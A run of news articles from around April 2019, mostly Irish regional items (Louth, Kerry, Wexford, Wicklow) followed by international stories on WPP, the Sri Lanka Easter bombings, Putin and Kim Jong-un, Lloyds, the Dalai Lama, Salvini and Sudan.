back payments to smaller sub-contractors. He backed a major legislative bid to abolish upward-only rent reviews as small shop owners and other commercial tenants went to the wall in the recession. He backed a 'Local Heroes' initiative to help Drogheda fight back against job losses during the darkest days of the recession. In 1993, he chaired a Department of Education steering committee which overhauled a key component of the post- primary education system. He donated his Seanad salary to charity up until the crash and then declined to take it at all after that. He chaired An Post from 1979 and spent 10 years helping to modernise the postal system and was instrumental in setting up the National Lottery. Feargal Quinn was the real deal - a hugely successful business figure who pioneered innovation in his own sector; a person who gave back to the State; who carried a sense of civic responsibility and national pride and was a champion of the little guy. Local band Larry celebrate the release of their debut album, which was recorded last September in Electrical Audio, Chicago with renowned recording engineer Steve Albini (Nirvana, Pixies, Shellac), with a gig in MAD Youth Theatre's Earl Street venue on Saturday night. A three piece band from Dundalk, Larry comprises Joey Edwards, Aoife Ward and David Noonan, citing the likes of Sparklehorse, Pixies and Wilco as influences. They have been honing their live shows around Ireland in small venues and festivals since forming in late 2017. After a fund-raising gig in The Spirit Store last year, they travelled to Chicago to record this, their debut album, which is being released on 12" vinyl on Dundalk's own Pizza Pizza Record and can be ordered through Bandcamp and streaming services. The launch night will see them premiering a documentary called 'Larry - The Full Bosco' about their time recording the album in Chicago, which was shot and edited by Katie Ball from Just Mustard. The launch comes the night after they play support for Third Smoke in The Sound House, Dublin along with Hunting Hall, making for a real Dundalk takeover of the capital. Television viewers across Europe will get an insight into how Louth people feel about Europe after The Glyde Inn, Annagassan, was selected to represent Ireland in a series of programmes by European news station Euronews which will be broadcast ahead of next month's European Elections, The programmes, entitled Sleepovers, see presenter Stuart Oates, spending 24 hours in five different countries to discover what their citizens think about Europe. The Glyde Inn, winner of the National Pub of the Year and National Geographic's Best Places in the World to Eat, was chosen as his Irish location as he set out to discover what the EU means to his host Conor O'Neill and those around them. Stuart arrived for his 'sleepover' on Thursday April 11 and was greeted with a fabulous traditional music session in the Glyde Inn courtesy of Lannleire Scoriocht. The following morning Conor, the manager of the Glyde Inn, took his guest on a tour of some local producers calling first to O'Neill's Bakery for some delicious freshly baked bread. Here Stuart had the opportunity to talk to John O'Neill about his views on the potential difficulties that Brexit might bring. Conor then brought Stuart to visit Coastguard Seafoods in Annagassan to stock up on Terry Butterly's famous lobster and smoked salmon. Terry spoke to Stuart about how EU bureaucracy and legislation was making life difficult for SME's. Next the pair headed to Clogherhead where they called on Noel Matthews in Dunany Crab and to fishmonger, Seamus Dunne before stopping at Oriel Sea Salt where John Delany talked about the importance of the EU with regards to trade, climate and sustainability. On the way back to Annagassan, Conor took Stuart to Salterstown Pier for a spot of sea kale foraging. It didn't take much convincing on the part of Conor to get the Euronews host to brave a quick dip in the waters at the pier! That evening Stuart made himself useful pulling pints at the Glyde Inn where he later hosted an EU quiz for the locals. To find out how they fared you will have to tune in to Euronews in three weeks time to see the show. There are 17,881 people living in Louth with a disability or chronic illness, representing 14% of the entire population of the county. Four out of every five people with disabilities acquired their disability during their working lives. This year alone, over 56,000 people, nationally, will be diagnosed with a disability for the first time. Census statistics show that of people with a disability, aged 15 years and over in Louth, 21% were at work, compared to 51% of the general population of the same age. PJ Cleere, Disability Federation Ireland Support Officer for Louth said: 'People in Louth, who care about living in a fair society, are gravely concerned.' 'Every person in Louth living with a disability is a family member - a son, daughter, sibling, or parent. The lack of supports and services for people with disabilities encompasses a far larger percentage of Louth's population than assumed. ' He added: 'Locally, access to services, including physiotherapy, speech and language therapy, personal assistants and other key supports are totally insufficient. Furthermore, people with disabilities are not entitled to participate in many employment programmes and are further excluded from the labour market.' 'Louth County Council is responsible for services that are of crucial importance to those with disabilities.They include housing, planning, public facilities, education and training.' PJ added: 'The Disability Federation of Ireland calls on the local community and local authorities to put supports for people with disability at the top of the public agenda. People with disabilities are a core element of community life in Louth. Their voice must be heard. Providing necessary supports to enable them to live as equal citizens will benefit every one of us. These citizens, their families and supporters are a sizeable electoral demographic and they will remember those candidates who place disability at the centre of their political agenda.' 'Since 2008, there has been a steady erosion of services and supports for people with disabilities. As a result, people with disabilities are more likely to live in poverty than others. The Disability Federation of Ireland is calling on Louth's local election candidates to set out their plans for improving the lives of the constituents of Louth who have disabilities. A Dundalk councillor was one of five politicians to complete the first Councillor-Migrant Internship Scheme run by the Immigrant Council of Ireland. Cllr. Anne Campbell, who is a Sinn Fein candidate for Dundalk South in the forthcoming elections, was in Dublin recently for the launch of the report into the scheme, which paired migrants with local authority members across the country. The scheme, which was funded under the EU Asylum Migration and Integration Fund through the Department of Justice, was the first of its kind in Ireland. Three out of the five interns took the decision to run for local elections in their constituencies next month. Cllr Campbell was paired with Adam Muchegwa, who is originally from Zimbabwe and lives with his family in Dundalk. For four months last year, Adam attended a wide range of council-related activities, including Louth County Council and Dundalk Municipal meetings, weekly councillor clinics and events. Adam, who was a civil servant in the Zimbabwean capital Harare before he came to Ireland, said: 'At my first municipal district meeting, I was roundly welcomed. I noticed and admired the mutual respect between the councillors and officials, a clear sign that both were determined to work for the betterment of the community'. Cllr. Campbell, said: 'This was the best thing I was involved in last year. I was so lucky to have Adam working alongside me and thanks to his experience and insight, he has helped me so much in a number of areas, particularly helping me to see things from a migrant's perspective. 'Adam continues to be involved in helping me with a number of projects we started work on during the internship scheme and is involved in my election campaign. He also requested all time sheets for community service program participants, met with the participant who said she had paid Collins $400 to take care of her service time, and requested and reviewed all of the documents Collins had submitted to the Cook County Circuit Court on behalf of the park district, an investigative report shows. Dundalk Chamber has been successful in securing funding for the creation of a new Skillnet network in Dundalk and across the North East. The new Skillnet Network Manager is Aidan Callan and he will be based in Dundalk Chamber of Commerce's offices in Partnership Court, The Ramparts. The Skillnet model is flexible and reactive to skills gaps in the network region. Skillnet can support local businesses by understanding the unique training needs, facilitating tailored training in a local setting at exceptional value for money. Dundalk Chamber Skillnet currently has a training fund and staff are keen to assist businesses in this area with their training needs. The cost of the training is part matched / subsidised and can be facilitated in-house (numbers dependent) or externally if required. Dundalk Chamber Skillnet has access to a nationwide panel of experienced and certified trainers across all industry sectors. Any company which has training planned, is thinking about training or businesspeople who simply want to find out more, are welcome to get in touch with the Skillnet Network Manager. A spokesperson for Dundalk Chamber said: 'Just let us know what training you need for you or your staff and we will see if can assist you with your training requirements.' Contact Aidan Callan by email skillnet@dundalk.ie or by phone on 085 862 0266 or 042 9336343 The Skillnet website is currently under development however check out on Facebook, Twitter and LinkedIn for updates on events and courses or contact Aidan Callan directly. Louth homeowners have spent over 31.1 million in total through the Home Renovation Incentive (HRI) since its launch in 2013. This incentive has facilitated homeowners throughout Louth in carrying out 2,257 home improvement projects over the last four years. These projects throughout Louth have had an average spend of 13,783 per project, providing a huge boost to the local economy and employment in the construction sector according to the Construction Industry Federation (CIF). Introduced in 2013, the Home Renovation Incentive provided homeowners with an income tax credit at 13.5% of qualifying expenditure on home improvement works carried out on a main home or rental property by qualifying contractors. The success of the scheme in Louth and nationally has been evident with the scale of the work undertaken on home improvements and energy upgrades. While the scheme concluded at the end of 2018, it was successful in encouraging significant private sector investment in the upgrading of private and rental property throughout Ireland. Nationally the HRI incentive has facilitated homeowners in carrying out over 147,000 home improvement projects over the last five years with an average spend of 16,766 per project. The average spend per project in Louth was 13,783, which was below the national average. Broken down by value, the largest amount of work was carried out completing home extensions (34%), followed by general repair and renovations (25%) and then window replacement (11%) and kitchen replacement (10%). The scheme was introduced initially in late 2013, but the extension of it to rental properties in late 2014 help increase the number of homeowners who used the scheme. Shane Dempsey, CIF Communications Director said: 'A scheme such as the Home Renovation Incentive (HRI) has been a significant contributor to construction activity with registered contractors in Louth and elsewhere throughout the country. A total of 2,257 projects in Louth was a very significant level of private investment over the five years of the scheme from homeowners in Louth. CIF has worked with stakeholders including the SEAI to ensure contractors were in place to support the work required by homeowners." 'At a time of modest growth in the construction industry, the scheme encouraged investment by homeowners in Louth, which was good news for construction companies and contractors in the county." Separately a nationwide programme, the Deep Retrofit Pilot scheme, devised to upgrade homes to the highest energy efficiency levels, has seen only 1 house upgraded in Louth in 2017 and 2018. The Sustainable Energy Authority of Ireland (SEAI) administers the Deep Retrofit Pilot scheme on behalf of the government. Dundalk woman Lisa Smith is reported to be 'in transit' out of the refugee camp in Syria where she had been staying with her young child. The former Air Corps corporal - who previously worked on the Government jet - travelled to Syria three years ago. She has admitted in interviews to having lived in the ISIS stronghold in northern Syrian, and claimed to have married an Islamic State 'jihadi' who died a few months ago. Having fled to a refugee camp for the widows and children of ISIS fighters, she made a series of calls to be allowed to return to Ireland with her young daughter. She spoke of concerns about her daughter's welfare as her main reason for hoping to move back to Ireland. Taoiseach Leo Varadkar stated that she and her child should be able to return home, although the former member of the 27th Battalion is expected to face severe scrutiny. The Taoiseach has said she will be 'assessed' in order to judge if she posed a risk after returning home. It also emerged this week the Dundalk woman hadn't been seen in the Al Hawl refugee camp for a number of days, prompting speculation that her and her daughter could be in transit home The Department of Foreign Affairs said it could not provide ongoing comment on Ms Smith's situation, while the Irish Defence Forces added the case was a matter for the DFA. Meanwhile, one of Ireland's leading Muslim clerics has voiced concerns that the Dundalk woman 'may be a threat to society' if she returns to Ireland. Shaykh Dr Umar al-Qadri, chairman of the Irish Muslim Peace & Integration Council, said that Smith would not be welcome in Irish mosques or Islamic community centres if she returned to Ireland. He said she should be prosecuted and de-redicalised if she returned to Ireland. And he warned that Irish mosques would not welcome people who hold radical views or are known to have joined Isis, which has been rejected by the vast majority of Muslims. Despite these views Imam Nooh Buye from the Dundalk Muslim Community Mosque told The Sunday Business Post there was little he could do to stop her worshipping at the local Mosque on the Ramparts Road if she returned to Ireland. He said: 'We have no option but to receive our sister and let her pray with us. She has the freedom to worship in any place she likes.' The tragically short life of Conor O' Hagan, who passed away in February 2017 at the age of 25, will be remembered during the May bank holiday weekend when his dad, Kieran; Kieran's wife, Ann; and his twin brother, Owen, will undertake a fundraising walk from Spanish Arch in Galway city to the King Tree in Tullamore. Kieran and Ann are hoping that locals around their native Newmarket, as well as The O'Hagan family initially lived in Manchester and relocated to west Cork in 1996. Two years ago, Kieran and his wife moved to Newmarket. Kieran shared Conor's life story with "After he and his twin brother, Owen, were born in Manchester in 1991, Conor was diagnosed with a genetic condition (Di George Syndrome, now more commonly known as 22q11 Deletion Syndrome). It is a very complex condition that can affect many aspects of a person's health, both physically and mentally, and we firmly believe this was responsible for his chaotic adult lifestyle and, ultimately, caused his tragic death at the tender age of just 25," Kieran explained. Most of Conor's first year in life was spent in hospitals, and he underwent open hear- surgery to repair a number of holes at just seven months of age. Fortunately, he soon recovered, and whilst it was clear there were some mild learning issues, he was able to attend mainstream school when the time came, albeit with a classroom assistant providing one-on-one support. However, when Conor was 17, things turned for the worse. "These years were always a worry, as with 22q11, there is a much higher risk of mental-health problems during adolescence and early adulthood than for other young people" Kieran said. Unfortunately, as soon as Conor became 18, he stopped attending his regular sessions with the mental-health services and also left home and moved from west Cork to Cork city. "He began drinking heavily, and his life just became more chaotic. There was always contact with the family, and help and support were always on offer, though rarely taken," Kieran said. "A trait of many people with this syndrome is a lack of grasp on reality, or an inability to fully understand a situation, and also, in Conor's case, a real belief that everything would come right soon, whether that be meeting the love of his life, or becoming the next heavy metal star. "He could not have been more wrong" Kieran noted. Within a few short years, Conor was alcohol dependant and homeless. He left Cork and moved to Galway in his early 20s, and initially seemed happier in himself and, perhaps, had the best year of his adult life, spending the warm summer days around Spanish Arch and busking around Shop Street. However, his drinking was getting even worse and his friendships broke down. "Soon after this, he was sectioned under the Mental Health Act, and in 2015, after spending a number of months in the Mental Health Unit at Cork University Hospital, at the age of 24, he set off for Europe, travelling through Britain, spending time in France, Belgium and the Netherlands, and ending up in Germany, all the while sleeping rough, with the odd night in a hostel. "He had now started drinking whiskey, and his mental and physical health were both deteriorating fast. "He was still in regular touch with home, but more often than not, he was largely incoherent and rambling" Kieran explained. After being hospitalised a number of times in Germany, including two weeks in intensive care with heart failure, Conor was brought back to Ireland and spent a number of months recovering before once again deciding he did not need to change his lifestyle or take the medication he had been prescribed for life. Once again he hit the road. His final destination was Tullamore, the home of 'The Dew', which was the draw to the County Offaly town. He spent many a night beneath the 'King Tree', just outside the Charleville estate. "As was often the case on his travels, people in Tullamore were very kind to him, and for that, his family will always be grateful" Kieran said. In February 2017, Conor's body could take no more. His years of alcohol abuse, of homeless living, of giving no consideration to his health and his condition finally took its toll, and he died in Tullamore Hospital, with his family by his side. "He will always be sadly missed and has left a large hole in the lives of all of his family. He was our beautiful son, brother, nephew and cousin" Kieran said. Kieran, Ann and Owen will complete the 104k walk on the evening of Monday, May 6. Joe Lees Bar, Church Street, Tullamore will be the venue for refreshments, some music and chat. "We would love you to come out and support us on our route but, more importantly, we want you to donate. You can do this at www.conors-walk.com." Kieran O' Hagan said. All funds raised go to Cork Simon and 22q11 Ireland. The hot topics of the day will be discussed at this year's Women in Media Conference next weekend as leading journalists and politicians gather at the annual event in Ballybunion. The 2019 Women in Media (WIM) conference will host some of the country's most influential journalists, politicians, corporate leaders and broadcasters as it celebrates its seventh year in Ballybunion from April 26th to 28th. Among the speakers at the biggest WIM conference to date will be: Mairead McGuinness MEP, former Taoiseach Bertie Ahern, RTE broadcaster Miriam O'Callaghan, Sunday Times journalist Justine McCarthy and RTE's Prime Time Political Correspondent Katie Hannon. The conference, sponsored by Vodafone Ireland, will look at the challenges faced by women working in the public life; the future of journalism; Ireland's housing crisis; the future of social media and how Ireland will cope post-Brexit. Former Taoiseach Bertie Ahern is the special guest on Sunday to discuss Brexit. The opening addresses will be delivered by conference founder Joan O'Connor, CEO of Vodafone Anne O'Leary and CEO of Kerry County Council, Moira Murrell along with head of school of Business, Computing and Humanities at IT, Tralee Mary Rose Stafford and community activist Dee Keogh on Friday April 26th at 7.30pm in Kilcooly's Country House. The first talk of the weekend event will be "Women in Literature: Telling our Stories" and will include authors, Sinead Moriarty, Felicty Hayes-McCoy and Claudia Carroll. The "Political Symposium" on Saturday April 27 will focus on "What the Government needs to do to solve our housing Crisis". The will be chaired by University of Limerick Head of Journalism Mary Dundon. The panellists will include; Sunday Times journalist Justine McCarthy; Fr Peter McVerry; Housing Minister Damien English and Labour Housing spokeswoman Jan O'Sullivan TD. The "Women in Media" panel which will debate "'Does journalism have a future?'"will be chaired by Prime Time's Katie Hannon from Duagh She will be joined by RTE's Six One anchor Keelin Shanley, Co-Founder and CEO of Kinzen Aine Kerr, The Time (Ireland) journalists Lise Hand and Ellen Coyne and Deputy Editor of the Sunday Business Post, Susan Mitchell. An exciting addition to this year's conference is a panel discussion on "Women in STEM". A gala dinner on Saturday night is the highlight of the weekend where awards will be presented to leading female journalists. Organiser Joan O' Connor said that the event is an opportunity to see hear the dedicated women of our media speak. "It is vital that we have a strong media, one that is representative of our society in terms of gender, race and sexual orientation. And one that is committed to telling the truth and to holding authority to account. We are therefore privileged in Ireland to have such strong, influential and dedicated women representing the public interest through the many media platforms that exist today." The full schedule of events is on the www.womeninmediaballybunion.com. International students living in the Maine Street area say they have been left shaken and terrified after a shocking knife attack on one of their classmates on Monday afternoon. At around 4.30pm on Monday a young international student who is living in shared accommodation on Maine Street returned to their apartment to find a burglar lurking inside. The shocked young Institute of Technology Tralee student confronted the man who then produced a knife and pinned the student to the wall and threatened them while holding the blade to his victim's throat. The knife wielding burglar eventually fled the scene and the frightened student contacted gardai who arrived on the scene quickly and in large numbers. Following an extensive garda search a man in his thirties was arrested in connection with the incident two hours later in a nearby property. The suspect in the attack was identified by several students who had encountered him in the area on several occasions in recent weeks. Maine Street is home to numerous international students several of whom told The Kerryman that Monday's appalling attack had left their closeknit group deeply shocked, scared and frightened in their homes. The concerned students said that a number of their friends have previously been threatened or harassed by the man suspected of carrying out the attack and that his intimidating behaviour had been reported to gardai on numerous occasions. While relieved that the attacker has been arrested the students - along with other local residents - have said that they would like to see more regular garda patrols in the area. The suspect is well known to people living in the area and has previously been seen trying to break into another apartment block adjacent to where Monday's incident occurred. On that occasion he was chased from the complex by residents who found him in the courtyard before he was able to access any of the individual apartments. The victim of the attack - who was unhurt but is extremely traumatised - is being comforted by friends. As The Kerryman went to press the arrested man remained in custody at Tralee Garda Station where he had been detained for questioning under Section 4 of the Criminal Justice Act 1984. The national president of Chartered Accountants Ireland paid a visit to Wexford last week on the invitation of colleagues at Price Waterhouse Cooper (PwC) in Cornmarket. A native of Warrenpoint, Co Down, Feargal McCormack made the long journey south to Wexford for a special event organised alongside Billy Sweetman of PwC Wexford. Mr McCormack was delighted to speak at a special members dinner at the Thomas Moore Tavern on Wednesday evening, giving local Chartered Accountants Ireland members in Wexford the opportunity to meet with their president and network with other CAI members from right across the county. There was a wonderful atmosphere on the night and it was enjoyed by all. As well as attending the members dinner, Mr McCormack also made an inspirational speech to sixth year students of the Loreto Secondary School, not only on the career opportunities that a career as a chartered accountant can offer, but also on becoming the best people they can in life. Mr McCormack was said to have enjoyed his trip to Wexford and is hoping to return again in the near future. A Ballinaclash resident has teamed up with a Hollywood movie fight choreographer to develop an online self-defence programme for people in wheelchairs. 'It's something I feel very passionate about - giving people confidence and challenging perceptions,' said Colm Whooley. The 60-year-old, who wound up in a wheelchair after a serious motorcycle accident nearly 40 years ago, has been working with Andy Norman - founder of Defence Lab - who worked on the Batman movies, Mission Impossible and Jack Reacher. 'Basically I wrote to him to see if he would be interested in developing a programme for people with spinal injuries,' Colm said. 'That was three to four years ago and we've been working on it ever since. I went over to Spain to see him in September and we're hoping the programme will be available online very soon,' he added. Colm - a trained instructor in Jun Fan Jeet Kune Do and wheelchair Jeet Kune Do, and the founder of Spinal Injuries Ireland - said it is a sad reflection of our times that people in wheelchairs need to know how to defend themselves. 'Unfortunately attitudes to people in wheelchairs have changed' he said. 'I can't get statistics here, but in the US and the UK, they show a rise [in the number of assaults].' One in five violent crime victims with disabilities believe they were targeted due to their disability, and a survey in Britain stated that the number of disability hate crimes reported has risen by 75 per cent in one year alone, he said, adding that hate crimes against people with disability doubled in one year. Colm said that martial arts classes are a major confidence and morale booster for the disabled. 'There are over 2,000 people with a spinal chord injury in this country. One of the great things about getting involved in activity is it improves your confidence. Learning martial arts in a local club gets wheelchair users into the mainstream society rather than segregating and isolating them,' he said. Colm moved to Ballinaclash from Dublin about 20 years ago. 'My background, before the accident, is that I had started martial arts in 1974 and, after the accident, I wasn't sure if it continuing was feasible. It was and the rest is history.' His work with Andy Norman has been a brilliant experience, he says. 'Forget about the movies, I'd seen the self defence system he'd developed and I wrote to him.' That was three four ago and now Colm says they hope to launch the programme this September. 'It will be for instructors and individuals. I'm getting great feedback. Andy and Greg have been involved in the martial arts field for over 50 years between them.' Colm's incredible story is currently featured in Irish Fighter magazine. He is planning a new program of classes, the dates of which will be announced on his website, and which are usually run in the National Rehabilitation Hospital in Dun Laoghaire in Dublin. For more information, visit www.wheelchairselfdefence.com The group is grappling with several big-name account losses (WPP/PA) Advertising giant WPP has reported a fall in like-for-like sales in the first quarter as it continues to feel the pain of big client losses. Comparable sales at the group fell 2.8% in the period, with total revenue up just 0.9% to 3.58 billion. The group is grappling with several big-name account losses, such as assignments from car giant Ford, which have dragged on its performance. The pain was felt hardest in the US, where comparable sales dropped 8.5% and was WPPs weakest region. In the UK, like-for-like sales dipped 0.9%. Chief executive Mark Read said: We continue to make good progress in implementing our three-year strategy to return WPP to sustainable growth. As anticipated, our first-quarter trading update reflects the impact of certain significant client losses in 2018, in particular in the United States. Expand Close Mark Read (WPP/PA) / Facebook Twitter Email Whatsapp Mark Read (WPP/PA) Although we face a challenging year, especially in the first half, I am encouraged by how well our people, agencies and clients are responding to our new strategic direction. Our expectations for the full year are unchanged. Our newly formed agencies are showing initial signs of success in new business pitches. WPP, which was rocked by the sudden departure last year of founder and chief executive Sir Martin Sorrell, is now in the middle of a turnaround. It is in the process of axing 3,500 jobs worldwide under plans to slash costs by 275 million a year as it looks to turn around its fortunes. It also wants to shed under-performing parts of the business and make itself leaner. In October, shares in WPP collapsed when the firm trimmed full-year guidance, reported lower-than-expected third-quarter sales and confirmed that it wants to offload Kantar. WPP said on Friday that the sale process is progressing well, with interest in the business expressed from high-quality potential partners. Shares rose 1.2% in morning trade to 917.2p. Mass: Women pray for the victims of the blasts. Photo: Reuters Sri Lanka yesterday lowered the death toll from the Easter suicide bombings by nearly one-third to 253, as authorities hunted urgently for a least five more suspects and braced for the possibility of more attacks in the next few days. In rolling back the number of dead from 359, a top Health Ministry official, Dr Anil Jasinghe, said the blasts had damaged some bodies beyond recognition, making identification difficult. He blamed inaccurate data provided by morgues for the discrepancy. He said any figure was an estimate: "It could be 250 or 260. I can't exactly say. There are so many body parts and it is difficult to give a precise figure." Religious leaders, meanwhile, cancelled public prayer gatherings amid warnings of more such attacks, along with retaliatory sectarian violence. In an unusually specific warning, the US Embassy in Sri Lanka said places of worship could be hit by extremists this weekend. At least 58 people have been arrested in connection with the wave of blasts at churches and luxury hotels last Sunday, including the father of two of the alleged suicide bombers - one of Sri Lanka's wealthiest spice traders. Authorities have said those involved in the bloodbath were well-educated and well-off financially. Sri Lankan authorities have blamed a local Muslim militant group, National Towheed Jamaat. The Islamic State group has also claimed responsibility, though officials are still investigating the extent of any involvement. Prime Minister Ranil Wickremesinghe said militants who may have explosives remain on the loose in the country and "may go out for a suicide attack". "We have rounded up a lot of suspects, but there are still active people on the run," Mr Wickremesinghe said. "They may be having explosives with them, so we have to find them." Police appealed for information about an extra three women and two men suspected of involvement in the bombings. The bloodshed stirred fears of more sectarian violence in Sri Lanka. "Sri Lankan authorities are reporting that additional attacks may occur targeting places of worship," the US embassy warned on Twitter. "Avoid these areas over the weekend, starting tomorrow." Britain advised its citizens against travelling to the island country. Sri Lanka's Islamic religious affairs minister appealed to Muslims to avoid gathering for Friday prayers and urged them to pray at home. McDermed and others said the state Constitution would have to be amended in order for Illinois to switch to a graduated tax structure, also known as a progressive tax. Sixty percent of voters statewide would have to support a referendum, which would likely be on ballots in fall 2020, she said. Vladimir Putin said Kim Jong-un has asked him to serve as an intermediary with the US after the North Korean leader's nuclear disarmament talks with Donald Trump collapsed. The Russian and North Korean leaders met for the first time in Vladivostok yesterday, allowing Moscow to reinsert itself into the dialogue around denuclearisation. Mr Putin will next head to China, where he will discuss the issue with Xi Jinping, its president. "Chairman Kim asked us to inform the American side of his position on questions that have arisen amid the processes taking place on the Korean peninsula," said Mr Putin. "So there are no secrets here. We will discuss this with our American and Chinese friends." Last week, Pyongyang demanded Mr Trump replace the "reckless" Mike Pompeo, the US secretary of state, as his lead negotiator and claimed it had tested a new "tactical guided weapon with a powerful warhead". "It is my and my government's firm strategic position that the strategic and traditional friendly relations between North Korea and Russia be strengthened," Mr Kim said at the talks. He did not join the press conference afterwards. Russia was in favour of Pyongyang's "full denuclearisation," Mr Putin said, and he suggested that Washington's overreaching demands and supposedly threatening posture hindered this. In a clear shot at the US, he said he and Mr Kim had discussed the need to "return to a situation when international law, not the law of the fist, decides the order of things in the world". "North Korea needs a guarantee of its security, of the preservation of its sovereignty," he said. "What guarantees could there be besides those made under international law?" He also said he welcomed Mr Kim's efforts to "normalise North Korean-US relations". Russia and China drafted a road map in 2017 calling for a step-by-step approach to rolling back North Korea's nuclear programme, while Mr Trump has sought a sweeping disarmament in exchange for sanctions relief. While Mr Putin said the two sides discussed sanctions during more than two-and-a-half hours of talks, he did not provide further details. Telegraph Media Group Limited [2021] Lloyds will report to the market next week (Yui Mok/PA) Lloyds Banking Group is expected to report flat profits next week as bosses at the lender brace themselves for questions on the impact of Brexit and economic uncertainty. City analysts forecast the bank will post pre-tax profits of 2.05 billion in the first quarter, up slightly from the 2 billion recorded in the same period last year. But as the biggest bank on the British high street, and the countrys biggest mortgage lender, attention will centre on Brexit, with Lloyds bosses expected to be questioned on their views. Lloyds is something of a Brexit barometerNicholas Hyett, Hargreaves Lansdown Nicholas Hyett, equity analyst at Hargreaves Lansdown, said: Lloyds is something of a Brexit barometer. One component of cost well be watching closely is impairments due to bad loans. UK employment and wages have held up fairly well so far, but increased credit card and car finance activity means a downturn would hit Lloyds books pretty quickly. Consensus impairment forecasts currently stand at 292 million. At the firms full year results in February, Lloyds shrugged off concerns about the impact of Britains EU departure on the bank as it unveiled an increase in annual profits and delivered a bumper pay-out for shareholders. But its peer Royal Bank of Scotland has started to feel the effects of Brexit, with the lender flagging that businesses in particular are reining in spending as fears linger. With its (Lloyds) business predominately in the UK and the biggest mortgage provider, any comment on the effects of Brexit will be of interest, the Share Centre added. Lloyds is in the midst of a three-year strategic plan which will see the bank invest more than 3 billion and focus on boosting its digital capabilities. This includes its biggest ever investment in people as it looks to increase staff training and development as it embraces new technology. However, chief executive Antonio Horta-Osorio has recently refused to rule out further job cuts as the lender overhauls its IT system. The high street lender has announced nearly 10,000 job cuts since the Government sold off its stake to take it fully private in May 2017. The results announcement will come ahead of the Lloyds AGM in May, where pension pay-outs for top bosses are expected to be put under the microscope. The Dalai Lama during a visit to Londonderry (Niall Carson/PA) The Dalai Lama has returned to his headquarters in the north Indian hill town of Dharmsala after a brief stay in a hospital in the capital for treatment of a chest infection. Hundreds of exiled Tibetans lined the streets of Dharmsala carrying ceremonial scarves and incense sticks to welcome the Dalai Lama on Friday. The 83-year-old Tibetan spiritual leader told reporters that he had fully recovered, but that the illness had been a little bit serious. Expand Close The Dalai Lama described the illness as a little bit serious (Chris Radburn/PA) / Facebook Twitter Email Whatsapp The Dalai Lama described the illness as a little bit serious (Chris Radburn/PA) He did not give any details. The Dalai Lama usually spends several months a year travelling the world to teach Buddhism and highlight Tibetans struggle for greater freedom in China. But he has cut down on his travels in the past year to take care of his health. A lorry driver who killed a three-year-old boy on a pedestrian crossing while sarcastically clapping another motorist has been jailed for 12 months. Dean Phoenix (44) gestured at the driver of a car which had allegedly been blocking his path moments before he crashed into Jaiden Mangan in Wareham, Dorset. The toddler, who was crossing the road with his mother and sister, suffered severe injuries and died in hospital just over an hour later. Phoenix was cleared of causing death by dangerous driving but had previously admitted the lesser offence of causing death by careless driving. As he was sentenced at Bournemouth Crown Court, Jaidens father stormed out, shouting: Is that it? You got a year for killing my son? The Crown Prosecution Service has confirmed that Phoenix was sentenced to life imprisonment in 2004 for the murder of his wife. It is not clear when he was released on licence but he was recalled to prison following Jaidens death. Phoenix, from Chineham in Hampshire, was also banned from driving for 18 months by the judge. Police said Phoenix had initially stopped his Scania lorry at the pedestrian crossing in North Street because of traffic congestion including a red Vauxhall Astra parked on the zig-zag markings at the side of the road - at around 8.40am on 29 March last year. At the time the traffic lights were green for vehicles. When it changed to red, Jaidens mother and sister crossed safely on the green man, with Jaiden behind them on his bike. As the boy crossed the road, Phoenix drove forward with footage showing him slow clapping another driver who had stopped at the lights on the opposite side of the road. Phoenix told the court he was frustrated at being stuck in what he thought was a traffic jam and admitted failing to see the red light. I wasnt expecting anyone to be on the crossing, I had no indication someone was in front of me, he said. All my concentration was on looking ahead at the situation and moving forward so I could free up the traffic. It was an accident, I made a mistake, thats why I pleaded guilty to careless driving. The driver of the Vauxhall Astra which parked on the zig-zag lines next to the crossing was fined 285 after admitting driving without due care and attention and failing to comply with a road traffic sign. Inspector Joe Pardey, of Dorset Police, said: This tragic incident resulted in the very sad death of a much loved little boy that has understandably left his family devastated and nothing will ever compensate them for their loss. It was clear that Phoenix was frustrated with the position he found himself in, but this case demonstrates how motorists still need to show patience in these situations and the serious implications that can arise if we let that frustration get the better of us. Drivers need to take time and ensure their actions are safe no matter what situation they are faced with. If Phoenix had taken the time to make the proper checks Jaidens death would have been avoided. It shows the truly awful consequences that can result in motorists not driving with appropriate care and failing to comply with road markings and is another demonstration of the need to drive carefully and considerately at all times. Matteo Salvini, Italy's far-right interior minister, has been accused of indulging his country's fascist past after he snubbed the annual celebration of the end of the Nazi occupation. Mr Salvini, who leads the anti-immigration League party, yesterday became the first top politician to skip the Liberation Day ceremony, which marks the overthrow of Benito Mussolini and the triumph of Italy's resistance. Instead Mr Salvini (46) chose to visit the Sicilian city of Corleone, where he paid tribute to its anti-mafia police. "I won't be marching here or there, wearing red handkerchiefs," Mr Salvini said, in a reference to the Communist party's presence at Liberation Day. His decision further strained the uneasy coalition between the League and the anti-establishment Five Star Movement. Telegraph Media Group Limited [2021] The German centre-right candidate hoping to become the next head of the European Unions executive branch is urging the UK not to take part in the European Parliament elections in May. Manfred Weber told Germanys Funke Media Group: It would be good if British politicians quickly ensured clarity about Brexit and didnt take part in the European election. (I am) bothered by the fact that the Europe-hater Nigel Farage with his Brexit Party is leading the British polls. That's absurdManfred Weber Mr Weber was quoted as saying that a country which is leaving the European Union shouldnt have a significant role in shaping the EUs future. He reportedly added he was bothered by the fact that the Europe-hater Nigel Farage with his Brexit Party is leading the British polls. Thats absurd. Mr Farages former UK Independence Party and wealthy allies were a driving force behind Britains 2016 Brexit referendum that saw nearly 52% back the UKs departure from the EU. Rapid support forces guard the entrance of the military headquarters during a sit-in protest outside in Khartoum (Salih Bashir/AP) Islamists in Sudan long allied with ousted president Omar al-Bashirs regime have called for a rally to support military-backed Islamic rule in the face of alleged attempts by protesters to abolish it. Islamist preachers have been seeking to discredit protest leaders in their religious sermons inside mosques, accusing them of seeking to undermine divine rule and impose western values of freedom, democracy and human rights. The call for a rally on Monday came as tensions resurfaced between the ruling military council and protesters after the military said the army would maintain sovereign powers during the transitional period. Did you take to the streets to impose laws that contradict people's identity and to divorce God's Shariah (Islamic law) from the government?Abdel-Hay Youssef, preacher In his Friday sermon, Khartoum-based Salafi preacher Abdel-Hay Youssef accused the protest movement of seeking to dictate their own will on the people. Did you take to the streets to impose laws that contradict peoples identity and to divorce Gods Shariah (Islamic law) from the government? he asked rhetorically. Mr Youssef rejected the blueprint for transition to civilian rule suggested by protesters and called upon the military to protect the role of Islam in the government. Since independence in 1956, Sudan has bounced between tumultuous party politics and military rule. But Mr al-Bashir successfully presented himself as the leader of a new wave of political Islam based on an alliance between Islamists and the military. 